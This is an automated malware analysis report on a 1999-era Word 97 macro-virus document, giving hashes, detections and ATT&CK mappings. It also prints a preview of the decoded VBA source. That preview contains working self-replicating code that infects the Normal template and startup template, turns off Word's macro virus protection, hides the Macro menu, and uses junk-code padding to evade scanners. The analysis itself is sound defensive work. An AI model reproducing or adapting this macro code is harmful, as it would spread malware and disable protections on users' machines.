Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c1fc1ec4b8bc9a48…

MALICIOUS

Office (OLE)

46.5 KB Created: 2000-02-15 15:15:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 8a5048e1f65ff3ea2aeaf125571cdae6 SHA-1: 5f08869b6e3b7885f654a4435d0423e57679c4c4 SHA-256: c1fc1ec4b8bc9a4874a9fac1a0d957e3f1bc2d2df86b8ec792d2774dea5809cb
202 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file contains a legacy WordBasic AutoOpen macro, identified by the OLE_LEGACY_WORDBASIC_AUTOEXEC heuristic. The macro itself is heavily obfuscated but contains comments indicating it is a 'macro-virus' and aims to spread itself. The presence of the AutoOpen macro strongly suggests an initial execution vector via Spearphishing Attachment (T1566.001). While the specific payload is not clear due to obfuscation, the intent is to execute malicious code within the document.

Heuristics 5

  • ClamAV: Doc.Trojan.VMPCK1-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.VMPCK1-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://officeupdate.microsoft.com/Articles/privacy.htm In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 7867 bytes
SHA-256: 2200a7637bd896d27f6e5768eb95330c78c7917a357370ed014c1f1a71f4744a
Detection
ClamAV: Doc.Trojan.Vmpc-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "virus"
'-----------------------------------------------------------------------------------------------------------------
'xix-lx/pt macro-virus v3beta1 for ms-word97. THIS VIRUS IS HARMLESS! so, don't worry :) drop klinton, not bombs!!
'by the way, there is a lot of crap inside this macro. it's the only way to avoid the virus scans ;) and it works!
'-----------------------------------------------------------------------------------------------------------------
'usage: open word97; tools; macro; vb editor; file; import file; virus3beta1.bas. that's it! now, spread the doc!!
'-----------------------------------------------------------------------------------------------------------------
'warning: please do not modify this macro! it's just a way to show my repulse against the nato agression on yugos-
'lavia. i will not be resposible for any damage you may cause with this virus! ... don't act like adolf klinton!!!
'-----------------------------------------------------------------------------------------------------------------
'*** IMPORTANT NOTICE! *** BIG BROTHER IS WATCHING YOU! --> http://officeupdate.microsoft.com/Articles/privacy.htm
'-----------------------------------------------------------------------------------------------------------------
Sub AutoExec()
On Error Resume Next
MjQuQzSq = BlFj1781 & RmEo4638
OiBh17552 = LoPtAjJu & IoSv9624 & Int(Rnd * 9959)
CuJeLgGr = KpFq9243 & QnIu16229
If UCase(Dir(Application.StartupPath & "\Word97.dot")) <> "WORD97.DOT" Then
MjQuQzSq = BlFj1781 & RmEo4638
OiBh17552 = LoPtAjJu & IoSv9624 & Int(Rnd * 9959)
CuJeLgGr = KpFq9243 & QnIu16229
Documents.Add Template:="", NewTemplate:=False
MjQuQzSq = BlFj1781 & RmEo4638
OiBh17552 = LoPtAjJu & IoSv9624 & Int(Rnd * 9959)
CuJeLgGr = KpFq9243 & QnIu16229
Open "c:\windows\system\WD1_.DRV" For Output As 1
Print #1, "Attribute VB_Name = ""WD1_"""
Print #1, "Sub FileSave()"
Print #1, "DkHjFoFq = DhIv4080 & RmBx14271"
Print #1, "OxPv15243 = JySiQxBr & HpUq9362 & NoKlGoJt & NoUn9649"
Print #1, "DnGhPlCz = HrHp17923 & OvKm18343"
Print #1, "On Error Resume Next"
Print #1, "OxPv15243 = JySiQxBr & HpUq9362 & NoKlGoJt & NoUn9649"
Print #1, "DnGhPlCz = HrHp17923 & OvKm18343"
Print #1, "If NormalTemplate.VBProject.VBComponents.Item(""virus"").Name <> ""virus"" Then"
Print #1, "OxPv15243 = JySiQxBr & HpUq9362 & NoKlGoJt & NoUn9649"
Print #1, "DnGhPlCz = HrHp17923 & OvKm18343"
Print #1, "NormalTemplate.VBProject.VBComponents.Import ""c:\windows\system\WD1_.DRV"""
Print #1, "End If"
Print #1, "OxPv15243 = JySiQxBr & HpUq9362 & NoKlGoJt & NoUn9649"
Print #1, "DnGhPlCz = HrHp17923 & OvKm18343"
Print #1, "ActiveDocument.Save"
Print #1, "End Sub"
Close 1
PnFe9171 = NrHoSrPn & DvEs10622 & Int(Rnd * 1805)
VvKg9994 = GoBjPrNe & VwNx10191 & Int(Rnd * 8583)
ActiveDocument.VBProject.VBComponents.import "c:\windows\system\WD1_.DRV"
PnFe9171 = NrHoSrPn & DvEs10622 & Int(Rnd * 1805)
VvKg9994 = GoBjPrNe & VwNx10191 & Int(Rnd * 8583)
ActiveDocument.SaveAs FileName:=Application.StartupPath & "\Word97.dot", FileFormat:=wdFormatTemplate, AddToRecentFiles:=False, ReadOnlyRecommended:=False
PnFe9171 = NrHoSrPn & DvEs10622 & Int(Rnd * 1805)
VvKg9994 = GoBjPrNe & VwNx10191 & Int(Rnd * 8583)
Windows("Word97.dot").Close
OxPv15243 = JySiQxBr & HpUq9362 & NoKlGoJt & NoUn9649
DnGhPlCz = HrHp17923 & OvKm18343
End If
End Sub
Sub virus()
On Error Resume Next
PnFe9171 = NrHoSrPn & DvEs10622 & Int(Rnd * 1805)
VvKg9994 = GoBjPrNe & VwNx10191 & Int(Rnd * 8583)
DkHjFoFq = DhIv4080 & RmBx14271
Options.VirusProtection = False
System.ProfileString("Options", "EnableMacroVirusProtection") = "0"
Options.SaveNormalPrompt = False
Options.ConfirmConversions = False
CommandBars("Tools").Controls("Macro").Enabled = False
MyQw11660 = RnVvIgVf & OfIs12735 & PrRwHqDj &
... (truncated)